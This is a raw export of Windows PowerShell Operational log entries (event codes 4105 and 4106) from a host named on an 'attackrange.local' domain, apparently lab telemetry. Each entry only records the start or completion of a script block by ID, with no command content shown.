LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030229
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030227
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030226
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030209
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030204
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030203
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030199
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030198
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030197
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030196
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030181
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030180
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030179
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
